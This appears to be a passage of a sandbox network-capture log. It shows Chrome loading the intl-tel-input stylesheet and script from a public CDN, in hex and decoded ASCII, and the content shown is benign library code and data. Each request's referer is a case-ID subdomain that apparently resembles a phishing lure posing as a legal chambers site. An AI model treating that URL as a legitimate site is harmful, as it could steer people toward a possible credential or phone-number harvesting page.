2025-03-14 09:08:46 UTC	1369	IN	Data Raw: 6c 61 74 65 58 28 32 30 70 78 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 34 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 36 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d Data Ascii: lateX(20px); } 40% { opacity: 1; -webkit-transform: translateX(0px); transform: translateX(0px); } 60% { opacity: 1; }
2025-03-14 09:08:46 UTC	1369	IN	Data Raw: 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 38 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 49 6e 52 54 4c 33 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 32 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 20 20 20 20 Data Ascii: opacity: 1; } 80% { opacity: 0; } } @keyframes fadeInRTL3 { 0% { opacity: 0; } 20% { opacity: 0;
2025-03-14 09:08:46 UTC	1369	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 2d 2d 73 61 76 69 6f 72 2d 6f 76 65 72 6c 61 79 2d 7a 2d 69 6e 64 65 78 2d 74 6f 70 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 32 31 34 37 34 38 33 36 34 33 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 2d 2d 73 61 76 69 6f 72 2d 6f 76 65 72 6c 61 79 2d 70 6f 73 69 74 69 6f 6e 2d 72 65 6c 61 74 69 76 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 2d 2d 73 61 76 69 6f 72 2d 6f 76 65 72 6c 61 79 2d 70 6f 73 69 74 69 6f 6e 2d 73 74 61 74 69 63 20 7b 0d 0a 20 20 20 20 Data Ascii: } .--savior-overlay-z-index-top { z-index: 2147483643 !important; } .--savior-overlay-position-relative { position: relative; } .--savior-overlay-position-static {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49759	151.101.65.229	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:46 UTC	656	OUT	GET /npm/intl-tel-input@17.0.19/build/css/intlTelInput.min.css HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:46 UTC	763	IN	HTTP/1.1 200 OK Connection: close Content-Length: 19157 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/css; charset=utf-8 X-JSD-Version: 17.0.19 X-JSD-Version-Type: version ETag: W/"4ad5-/7iiVjPE3eq4HRsXQqwv0LRCpMY" Accept-Ranges: bytes Age: 1456351 Date: Fri, 14 Mar 2025 09:08:46 GMT X-Served-By: cache-fra-etou8220138-FRA, cache-ewr-kewr1740084-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 2e 69 74 69 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 69 74 69 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 69 74 69 5f 5f 68 69 64 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 69 74 69 5f 5f 76 2d 68 69 64 65 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 2e 69 74 69 20 69 6e 70 75 74 2c 2e 69 74 69 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 2e 69 74 69 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7a 2d 69 6e 64 65 78 3a 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 21 69 6d 70 6f 72 Data Ascii: .iti{position:relative;display:inline-block}.iti *{box-sizing:border-box;-moz-box-sizing:border-box}.iti__hide{display:none}.iti__v-hide{visibility:hidden}.iti input,.iti input[type=tel],.iti input[type=text]{position:relative;z-index:0;margin-top:0!impor
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 6d 65 2c 2e 69 74 69 5f 5f 64 69 61 6c 2d 63 6f 64 65 2c 2e 69 74 69 5f 5f 66 6c 61 67 2d 62 6f 78 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 2e 69 74 69 5f 5f 63 6f 75 6e 74 72 79 2d 6e 61 6d 65 2c 2e 69 74 69 5f 5f 66 6c 61 67 2d 62 6f 78 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 36 70 78 7d 2e 69 74 69 2d 2d 61 6c 6c 6f 77 2d 64 72 6f 70 64 6f 77 6e 20 69 6e 70 75 74 2c 2e 69 74 69 2d 2d 61 6c 6c 6f 77 2d 64 72 6f 70 64 6f 77 6e 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 2e 69 74 69 2d 2d 61 6c 6c 6f 77 2d 64 72 6f 70 64 6f 77 6e 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 2e 69 74 69 2d 2d 73 65 70 61 72 61 74 65 2d 64 69 61 6c 2d 63 6f 64 65 20 69 6e 70 75 74 2c 2e 69 74 69 2d 2d 73 65 70 61 72 61 74 65 2d Data Ascii: me,.iti__dial-code,.iti__flag-box{vertical-align:middle}.iti__country-name,.iti__flag-box{margin-right:6px}.iti--allow-dropdown input,.iti--allow-dropdown input[type=tel],.iti--allow-dropdown input[type=text],.iti--separate-dial-code input,.iti--separate-
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 25 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 69 74 69 2d 6d 6f 62 69 6c 65 20 2e 69 74 69 5f 5f 63 6f 75 6e 74 72 79 7b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 31 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 65 6d 7d 2e 69 74 69 5f 5f 66 6c 61 67 7b 77 69 64 74 68 3a 32 30 70 78 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 62 65 7b 77 69 64 74 68 3a 31 38 70 78 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 63 68 7b 77 69 64 74 68 3a 31 35 70 78 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 6d 63 7b 77 69 64 74 68 3a 31 39 70 78 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 6e 65 7b 77 69 64 74 68 3a 31 38 70 78 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 6e 70 7b 77 69 64 74 68 3a 31 33 70 78 7d 2e 69 74 69 5f 5f 66 6c Data Ascii: %;width:100%}.iti-mobile .iti__country{padding:10px 10px;line-height:1.5em}.iti__flag{width:20px}.iti__flag.iti__be{width:18px}.iti__flag.iti__ch{width:15px}.iti__flag.iti__mc{width:19px}.iti__flag.iti__ne{width:18px}.iti__flag.iti__np{width:13px}.iti__fl
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 73 69 74 69 6f 6e 3a 2d 33 35 32 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 62 61 7b 68 65 69 67 68 74 3a 31 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 33 37 34 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 62 62 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 33 39 36 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 62 64 7b 68 65 69 67 68 74 3a 31 32 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 34 31 38 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 62 65 7b 68 65 69 67 68 74 3a 31 35 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 34 34 30 70 78 20 30 Data Ascii: sition:-352px 0}.iti__flag.iti__ba{height:10px;background-position:-374px 0}.iti__flag.iti__bb{height:14px;background-position:-396px 0}.iti__flag.iti__bd{height:12px;background-position:-418px 0}.iti__flag.iti__be{height:15px;background-position:-440px 0
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 70 6f 73 69 74 69 6f 6e 3a 2d 38 35 36 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 63 64 7b 68 65 69 67 68 74 3a 31 35 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 38 37 38 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 63 66 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 39 30 30 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 63 67 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 39 32 32 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 63 68 7b 68 65 69 67 68 74 3a 31 35 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 39 34 34 70 78 Data Ascii: position:-856px 0}.iti__flag.iti__cd{height:15px;background-position:-878px 0}.iti__flag.iti__cf{height:14px;background-position:-900px 0}.iti__flag.iti__cg{height:14px;background-position:-922px 0}.iti__flag.iti__ch{height:15px;background-position:-944px
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 74 3a 31 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 33 35 37 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 64 6f 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 33 37 39 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 64 7a 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 34 30 31 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 65 61 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 34 32 33 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 65 63 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b Data Ascii: t:10px;background-position:-1357px 0}.iti__flag.iti__do{height:14px;background-position:-1379px 0}.iti__flag.iti__dz{height:14px;background-position:-1401px 0}.iti__flag.iti__ea{height:14px;background-position:-1423px 0}.iti__flag.iti__ec{height:14px;back
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 67 67 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 38 36 33 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 67 68 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 38 38 35 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 67 69 7b 68 65 69 67 68 74 3a 31 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 39 30 37 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 67 6c 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 39 32 39 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 Data Ascii: }.iti__flag.iti__gg{height:14px;background-position:-1863px 0}.iti__flag.iti__gh{height:14px;background-position:-1885px 0}.iti__flag.iti__gi{height:10px;background-position:-1907px 0}.iti__flag.iti__gl{height:14px;background-position:-1929px 0}.iti__flag
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 33 34 37 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 69 6c 7b 68 65 69 67 68 74 3a 31 35 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 33 36 39 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 69 6d 7b 68 65 69 67 68 74 3a 31 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 33 39 31 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 69 6e 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 34 31 33 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 69 6f 7b 68 65 69 67 68 74 3a 31 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 Data Ascii: ground-position:-2347px 0}.iti__flag.iti__il{height:15px;background-position:-2369px 0}.iti__flag.iti__im{height:10px;background-position:-2391px 0}.iti__flag.iti__in{height:14px;background-position:-2413px 0}.iti__flag.iti__io{height:10px;background-posi
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 2e 69 74 69 5f 5f 6b 7a 7b 68 65 69 67 68 74 3a 31 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 38 35 33 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 6c 61 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 38 37 35 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 6c 62 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 38 39 37 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 6c 63 7b 68 65 69 67 68 74 3a 31 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 39 31 39 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 6c 69 7b 68 65 Data Ascii: .iti__kz{height:10px;background-position:-2853px 0}.iti__flag.iti__la{height:14px;background-position:-2875px 0}.iti__flag.iti__lb{height:14px;background-position:-2897px 0}.iti__flag.iti__lc{height:10px;background-position:-2919px 0}.iti__flag.iti__li{he
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 74 69 6f 6e 3a 2d 33 33 33 36 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 6d 6f 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 33 33 35 38 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 6d 70 7b 68 65 69 67 68 74 3a 31 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 33 33 38 30 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 6d 71 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 33 34 30 32 70 78 20 30 7d 2e 69 74 69 5f 5f 66 6c 61 67 2e 69 74 69 5f 5f 6d 72 7b 68 65 69 67 68 74 3a 31 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 33 34 32 34 70 Data Ascii: tion:-3336px 0}.iti__flag.iti__mo{height:14px;background-position:-3358px 0}.iti__flag.iti__mp{height:10px;background-position:-3380px 0}.iti__flag.iti__mq{height:14px;background-position:-3402px 0}.iti__flag.iti__mr{height:14px;background-position:-3424p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49760	151.101.65.229	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:46 UTC	640	OUT	GET /npm/intl-tel-input@17.0.19/build/js/intlTelInput.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:46 UTC	776	IN	HTTP/1.1 200 OK Connection: close Content-Length: 29519 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 17.0.19 X-JSD-Version-Type: version ETag: W/"734f-tveChQZOzfKDCBYG03tkPAXVi2E" Accept-Ranges: bytes Age: 50248 Date: Fri, 14 Mar 2025 09:08:46 GMT X-Served-By: cache-fra-etou8220100-FRA, cache-nyc-kteb1890035-NYC X-Cache: HIT, MISS Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 2f 2a 0a 20 2a 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 54 65 6c 65 70 68 6f 6e 65 20 49 6e 70 75 74 20 76 31 37 2e 30 2e 31 39 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6a 61 63 6b 6f 63 6e 72 2f 69 6e 74 6c 2d 74 65 6c 2d 69 6e 70 75 74 2e 67 69 74 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 2f 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 28 29 3a 77 69 6e 64 6f 77 2e 69 6e 74 6c 54 65 6c 49 6e 70 75 74 3d 61 28 29 7d 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 Data Ascii: /* * International Telephone Input v17.0.19 * https://github.com/jackocnr/intl-tel-input.git * Licensed under the MIT license */!function(a){"object"==typeof module&&module.exports?module.exports=a():window.intlTelInput=a()}(function(a){"use strict"
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 31 22 5d 2c 5b 22 42 65 6e 69 6e 20 28 42 c3 a9 6e 69 6e 29 22 2c 22 62 6a 22 2c 22 32 32 39 22 5d 2c 5b 22 42 65 72 6d 75 64 61 22 2c 22 62 6d 22 2c 22 31 22 2c 31 30 2c 5b 22 34 34 31 22 5d 5d 2c 5b 22 42 68 75 74 61 6e 20 28 e0 bd a0 e0 bd 96 e0 be b2 e0 bd b4 e0 bd 82 29 22 2c 22 62 74 22 2c 22 39 37 35 22 5d 2c 5b 22 42 6f 6c 69 76 69 61 22 2c 22 62 6f 22 2c 22 35 39 31 22 5d 2c 5b 22 42 6f 73 6e 69 61 20 61 6e 64 20 48 65 72 7a 65 67 6f 76 69 6e 61 20 28 d0 91 d0 be d1 81 d0 bd d0 b0 20 d0 b8 20 d0 a5 d0 b5 d1 80 d1 86 d0 b5 d0 b3 d0 be d0 b2 d0 b8 d0 bd d0 b0 29 22 2c 22 62 61 22 2c 22 33 38 37 22 5d 2c 5b 22 42 6f 74 73 77 61 6e 61 22 2c 22 62 77 22 2c 22 32 36 37 22 5d 2c 5b 22 42 72 61 7a 69 6c 20 28 42 72 61 73 69 6c 29 22 2c 22 62 72 22 2c 22 Data Ascii: 1"],["Benin (Bnin)","bj","229"],["Bermuda","bm","1",10,["441"]],["Bhutan ()","bt","975"],["Bolivia","bo","591"],["Bosnia and Herzegovina ( )","ba","387"],["Botswana","bw","267"],["Brazil (Brasil)","br","
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 76 69 6c 6c 65 29 22 2c 22 63 67 22 2c 22 32 34 32 22 5d 2c 5b 22 43 6f 6f 6b 20 49 73 6c 61 6e 64 73 22 2c 22 63 6b 22 2c 22 36 38 32 22 5d 2c 5b 22 43 6f 73 74 61 20 52 69 63 61 22 2c 22 63 72 22 2c 22 35 30 36 22 5d 2c 5b 22 43 c3 b4 74 65 20 64 e2 80 99 49 76 6f 69 72 65 22 2c 22 63 69 22 2c 22 32 32 35 22 5d 2c 5b 22 43 72 6f 61 74 69 61 20 28 48 72 76 61 74 73 6b 61 29 22 2c 22 68 72 22 2c 22 33 38 35 22 5d 2c 5b 22 43 75 62 61 22 2c 22 63 75 22 2c 22 35 33 22 5d 2c 5b 22 43 75 72 61 c3 a7 61 6f 22 2c 22 63 77 22 2c 22 35 39 39 22 2c 30 5d 2c 5b 22 43 79 70 72 75 73 20 28 ce 9a cf 8d cf 80 cf 81 ce bf cf 82 29 22 2c 22 63 79 22 2c 22 33 35 37 22 5d 2c 5b 22 43 7a 65 63 68 20 52 65 70 75 62 6c 69 63 20 28 c4 8c 65 73 6b c3 a1 20 72 65 70 75 62 6c 69 Data Ascii: ville)","cg","242"],["Cook Islands","ck","682"],["Costa Rica","cr","506"],["Cte dIvoire","ci","225"],["Croatia (Hrvatska)","hr","385"],["Cuba","cu","53"],["Curaao","cw","599",0],["Cyprus ()","cy","357"],["Czech Republic (esk republi
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 2c 22 37 39 31 31 22 5d 5d 2c 5b 22 47 75 69 6e 65 61 20 28 47 75 69 6e c3 a9 65 29 22 2c 22 67 6e 22 2c 22 32 32 34 22 5d 2c 5b 22 47 75 69 6e 65 61 2d 42 69 73 73 61 75 20 28 47 75 69 6e c3 a9 20 42 69 73 73 61 75 29 22 2c 22 67 77 22 2c 22 32 34 35 22 5d 2c 5b 22 47 75 79 61 6e 61 22 2c 22 67 79 22 2c 22 35 39 32 22 5d 2c 5b 22 48 61 69 74 69 22 2c 22 68 74 22 2c 22 35 30 39 22 5d 2c 5b 22 48 6f 6e 64 75 72 61 73 22 2c 22 68 6e 22 2c 22 35 30 34 22 5d 2c 5b 22 48 6f 6e 67 20 4b 6f 6e 67 20 28 e9 a6 99 e6 b8 af 29 22 2c 22 68 6b 22 2c 22 38 35 32 22 5d 2c 5b 22 48 75 6e 67 61 72 79 20 28 4d 61 67 79 61 72 6f 72 73 7a c3 a1 67 29 22 2c 22 68 75 22 2c 22 33 36 22 5d 2c 5b 22 49 63 65 6c 61 6e 64 20 28 c3 8d 73 6c 61 6e 64 29 22 2c 22 69 73 22 2c 22 33 35 Data Ascii: ,"7911"]],["Guinea (Guine)","gn","224"],["Guinea-Bissau (Guin Bissau)","gw","245"],["Guyana","gy","592"],["Haiti","ht","509"],["Honduras","hn","504"],["Hong Kong ()","hk","852"],["Hungary (Magyarorszg)","hu","36"],["Iceland (sland)","is","35
2025-03-14 09:08:46 UTC	1378	IN	Data Raw: 2c 5b 22 4d 61 6c 61 77 69 22 2c 22 6d 77 22 2c 22 32 36 35 22 5d 2c 5b 22 4d 61 6c 61 79 73 69 61 22 2c 22 6d 79 22 2c 22 36 30 22 5d 2c 5b 22 4d 61 6c 64 69 76 65 73 22 2c 22 6d 76 22 2c 22 39 36 30 22 5d 2c 5b 22 4d 61 6c 69 22 2c 22 6d 6c 22 2c 22 32 32 33 22 5d 2c 5b 22 4d 61 6c 74 61 22 2c 22 6d 74 22 2c 22 33 35 36 22 5d 2c 5b 22 4d 61 72 73 68 61 6c 6c 20 49 73 6c 61 6e 64 73 22 2c 22 6d 68 22 2c 22 36 39 32 22 5d 2c 5b 22 4d 61 72 74 69 6e 69 71 75 65 22 2c 22 6d 71 22 2c 22 35 39 36 22 5d 2c 5b 22 4d 61 75 72 69 74 61 6e 69 61 20 28 e2 80 ab d9 85 d9 88 d8 b1 d9 8a d8 aa d8 a7 d9 86 d9 8a d8 a7 e2 80 ac e2 80 8e 29 22 2c 22 